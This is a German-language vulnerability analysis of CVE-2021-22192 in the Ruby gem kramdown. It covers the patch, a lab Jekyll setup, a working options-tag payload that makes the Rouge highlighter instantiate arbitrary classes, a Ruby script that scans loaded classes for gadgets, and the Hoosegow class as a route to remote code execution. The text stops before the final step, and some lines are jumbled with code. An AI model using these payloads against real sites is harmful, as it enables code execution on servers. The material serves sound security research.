
CVE-2021-22192
Als ich mit der Analyse dieses Fehlers begann, hatte ich nur einige wertvolle Informationen von lyy289065406, die mir halfen, das Kernproblem dieses Bugs zu verstehen. Es schien, dass der Fehler in der gem kramdown (<= 2.3.0) liegt, also beschäftigte ich mich zuerst mit kramdown.
Wir können den Patch von kramdown prüfen und sehen den Unterschied in der Funktion formatter_class im Modul Kramdown::Converter::SyntaxHighlighter::Rouge.
::Rouge::Formatters.const_get(formatter) wurde zu ::Rouge::Formatters.const_get(formatter, false) geändert.
Die Methode const_get wird von der Klasse Object geerbt und kann Konstanten abrufen. Sie kann sogar Klassen zurückgeben, die zuvor deklariert wurden und die sie finden kann. Der Unterschied besteht hier nur im zusätzlichen Parameter false. Durch das Hinzufügen von false kann const_get keine Konstanten aus übergeordneten Klassen oder Modulen mehr abrufen.
Besonders ist außerdem, dass in der Funktion self.call formatter_class aufgerufen und anschließend new(opts) ausgeführt wird. Das bedeutet, dass die über const_get ermittelte Methode über den Konstruktor initialisiert wird.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Mithilfe von Kramdown:Options können wir die Funktion Kramdown::Converter::SyntaxHighlighter::Rouge.call aufrufen.
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Außerdem sehen wir, dass im Modul Kramdown:Options die Funktion simple_hash_validator YAML.safe_load(val) aufruft. Damit können wir auch eine YML-Datei konfigurieren, um die gewünschte Payload an Kramdown::Converter::SyntaxHighlighter::Rouge zu übergeben.
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Zuerst muss ich Jekyll aufsetzen:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock bearbeiten, um die kramdown-Version auf <= 2.3.0 zu setzencd jekyllTest
Datei Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Damit haben wir eine Jekyll-Seite erstellt. Nun können wir eine Payload einfügen, um zu sehen, ob Kramdown::Converter::SyntaxHighlighter::Rouge.call tatsächlich eine Methode aufrufen kann.
Wir können in die Datei ./_config.yml Folgendes einfügen:
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Oder ein kramdown-Dokument verwenden, indem wir die Payload in ./_posts/*.markdown einfügen.
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Hier verwende ich die zweite Methode =)))))
bundle exec jekyll serve
Möglicherweise tritt der Fehler "require': cannot load such file -- webrick (LoadError)" auf; du musst gem "webrick" zur Gemfile hinzufügen
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: Das zeigt, dass die Klasse CSV aufgerufen wurde.Laut einem Analyseartikel zu CVE-2020-10518, der den kramdown-Fehler nutzt, um eine RCE auf GitHub auszulösen, ziele ich auf die Klasse Hoosegow:
initialize von Hoosegow load_inmate_methods aufgerufen wird.def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods sehen wir, dass require inmate_file aufgerufen wird. def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
Aber inmate_file wird durch Verkettung von @inmate_dir mit 'inmate.rb' erzeugt. Wenn wir diese Klasse aufrufen und den Parameter inmate_dir auf den Pfad zu unserer Payload-Datei setzen können, würde dann nicht hier eine RCE auftreten?
Ich führe ein Skript im Pfad der Jekyll-Seite aus, um die definierten Methoden zu überprüfen:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow" verwendet habe.require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Es stellte sich heraus, dass die Klasse Hoosegow in meinem Klassenpfad nicht deklariert war. Ich fügte gem "hoosegow" zur Gemfile hinzu, und das Skript fand diese Klasse. [Hehehe]
Als Nächstes versuche ich, Hoosegow über kramdown aufzurufen.